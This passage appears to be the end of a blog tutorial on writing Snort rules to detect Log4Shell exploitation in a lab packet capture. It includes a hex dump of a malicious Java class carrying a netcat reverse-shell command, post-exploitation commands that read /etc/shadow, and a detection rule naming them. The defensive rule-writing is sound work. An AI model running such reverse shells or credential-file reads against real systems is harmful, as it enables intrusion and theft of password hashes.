61 70 61 63 68 65 2F 78  6D 6C 2F 69 6E 74 65 72  apache/x ml/inter
6E 61 6C 2F 73 65 72 69  61 6C 69 7A 65 72 2F 53  nal/seri alizer/S
65 72 69 61 6C 69 7A 61  74 69 6F 6E 48 61 6E 64  erializa tionHand
6C 65 72 3B 29 56 01 00  39 63 6F 6D 2F 73 75 6E  ler;)V.. 9com/sun
2F 6F 72 67 2F 61 70 61  63 68 65 2F 78 61 6C 61  /org/apa che/xala
6E 2F 69 6E 74 65 72 6E  61 6C 2F 78 73 6C 74 63  n/intern al/xsltc
2F 54 72 61 6E 73 6C 65  74 45 78 63 65 70 74 69  /Transle tExcepti
6F 6E 07 00 34 01 00 A6  28 4C 63 6F 6D 2F 73 75  on..4... (Lcom/su
6E 2F 6F 72 67 2F 61 70  61 63 68 65 2F 78 61 6C  n/org/ap ache/xal
61 6E 2F 69 6E 74 65 72  6E 61 6C 2F 78 73 6C 74  an/inter nal/xslt
63 2F 44 4F 4D 3B 4C 63  6F 6D 2F 73 75 6E 2F 6F  c/DOM;Lc om/sun/o
72 67 2F 61 70 61 63 68  65 2F 78 6D 6C 2F 69 6E  rg/apach e/xml/in
74 65 72 6E 61 6C 2F 64  74 6D 2F 44 54 4D 41 78  ternal/d tm/DTMAx
69 73 49 74 65 72 61 74  6F 72 3B 4C 63 6F 6D 2F  isIterat or;Lcom/
73 75 6E 2F 6F 72 67 2F  61 70 61 63 68 65 2F 78  sun/org/ apache/x
6D 6C 2F 69 6E 74 65 72  6E 61 6C 2F 73 65 72 69  ml/inter nal/seri
61 6C 69 7A 65 72 2F 53  65 72 69 61 6C 69 7A 61  alizer/S erializa
74 69 6F 6E 48 61 6E 64  6C 65 72 3B 29 56 01 00  tionHand ler;)V..
08 3C 63 6C 69 6E 69 74  3E 01 00 25 6E 63 20 31  .<clinit >..%nc 1
39 32 2E 31 36 38 2E 35  36 2E 31 30 32 20 38 30  92.168.5 6.102 80
20 2D 65 20 2F 62 69 6E  2F 73 68 20 2D 76 76 76   -e /bin /sh -vvv
0A 08 00 38 01 00 04 43  6F 64 65 01 00 0D 53 74  ...8...C ode...St
61 63 6B 4D 61 70 54 61  62 6C 65 01 00 0A 45 78  ackMapTa ble...Ex
63 65 70 74 69 6F 6E 73  00 21 00 02 00 04 00 00  ceptions .!......
00 01 00 0A 00 05 00 06  00 00 00 04 00 01 00 07  ........ ........
00 08 00 01 00 3A 00 00  00 7E 00 04 00 03 00 00  .....:.. .~......
00 4D 2A B7 00 0C B2 00  11 12 13 B6 00 19 99 00  .M*..... ........
1B 06 BD 00 15 59 03 12  1B 53 59 04 12 1D 53 59  .....Y.. .SY...SY
05 B2 00 1F 53 4C A7 00  18 06 BD 00 15 59 03 12  ....SL.. .....Y..
20 53 59 04 12 22 53 59  05 B2 00 1F 53 4C B8 00   SY.."SY ....SL..
2A 2B B6 00 2E 57 A7 00  08 4D 2C B6 00 31 B1 00  *+...W.. .M,..1..
01 00 3C 00 44 00 47 00  0A 00 01 00 3B 00 00 00  ..<.D.G. ....;...
17 00 04 FF 00 27 00 01  07 00 02 00 00 FC 00 14  .....'.. ........
07 00 24 4A 07 00 0A 04  00 01 00 32 00 33 00 02  ..$J.... ...2.3..
00 3A 00 00 00 0D 00 00  00 03 00 00 00 01 B1 00  .:...... ........
00 00 00 00 3C 00 00 00  04 00 01 00 35 00 01 00  ....<... ....5...
32 00 36 00 02 00 3A 00  00 00 0D 00 00 00 04 00  2.6...:. ........
00 00 01 B1 00 00 00 00  00 3C 00 00 00 04 00 01  ........ .<......
00 35 00 08 00 37 00 08  00 01 00 3A 00 00 00 12  .5...7.. ...:....
00 01 00 00 00 00 00 06  12 39 B3 00 1F B1 00 00  ........ .9......
00 00 00 00                                       ....
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

Time for the final rule, to detect the netcat post exploitation activity.

/* 
    This final rule, will detect the netcat within our PCAP.
*/
alert tcp $EXTERNAL_NET 80 -> $HOME_NET any  
    (
	/* This rule is looking for post exploitation activity within our PCAP */
	msg: "POSSIBLE COMMAND AND CONTROL - POST EXPLOITATION ACTIVITY - via 80/TCP (HTTP)";
	flow: established, from_server;
	content: "id", nocase;
	content: "whoami", nocase;
	content: "/etc/shadow", nocase;
	reference: url, www.securitynik.com;
	classtype: malware-cnc; 
	rev: 3;
	sid: 4000005;
    )

When our rule fires, we see get one alert. ...

┌──(rootđź’€securitynik)-[~/log4j]
└─# snort --pcap-list log4-shell.pcapng -c ./snort-log4j-conf.lua -R ./local.rules -k none -A talos -q

##### log4-shell.pcapng #####
        [1:4000002:3] SUSPICIOUS ACTIVITY - CONFIRMED Critical Asset communicating via TCP/389 (LDAP) with External Host (alerts: 3)
        [1:4000003:0] POSSIBLE Log4J VULNERABILITY EXPLOITATION  (alerts: 3)
        [1:4000004:3] CODE EXECUTION ON CRITICAL SERVER - from external host (alerts: 2)
        [1:4000005:3] POSSIBLE COMMAND AND CONTROL - POST EXPLOITATION ACTIVITY - via 80/TCP (HTTP) (alerts: 1)
#####
--------------------------------------------------
module profile (all, depth 255, sorted by total_time)
#                      module layer    checks   time(us)  avg/check  %/caller  %/total
=                      ====== =====    ======   ========  =========  ========  =======
...
--------------------------------------------------
rule profile (all, sorted by total_time)
#       gid   sid rev    checks matches alerts time (us) avg/check avg/match avg/non-match timeouts suspends
=       ===   === ===    ====== ======= ====== ========= ========= ========= ============= ======== ========
1         14000003   0        21       3      3       176         8        26             5        0        0
2         14000001   3       155      14      0        61         0         2             0        0        0
3         14000002   3         6       3      3        34         5         8             3        0        0
4         14000004   3         2       2      2        13         6         6             0        0        0
5         14000005   3         2       1      1         5         2         4             1        0        0

What did our rule triggered on? Looking at the actual alert, we see

┌──(rootđź’€securitynik)-[~/log4j]
└─# snort --pcap-list log4-shell.pcapng -c ./snort-log4j-conf.lua -R ./local.rules -k none -A cmg -q    

12/20-14:01:22.788277 [**] [1:4000005:3] "POSSIBLE COMMAND AND CONTROL - POST EXPLOITATION ACTIVITY - via 80/TCP (HTTP)" [**] [Classification: Known malware command and control traffic] [Priority: 1] {TCP} 192.168.56.102:80 -> 172.17.0.2:37957

snort.stream_tcp[46]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
6C 73 0A 0A 77 68 6F 61  6D 69 0A 0A 0A 75 6E 61  ls..whoa mi...una
6D 65 20 2D 2D 61 6C 6C  0A 0A 0A 69 64 0A 63 61  me --all ...id.ca
74 20 2F 65 74 63 2F 73  68 61 64 6F 77 0A        t /etc/s hadow.
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

Well that is it for this. Over to using Zeek detect this activity and wrap-up this series.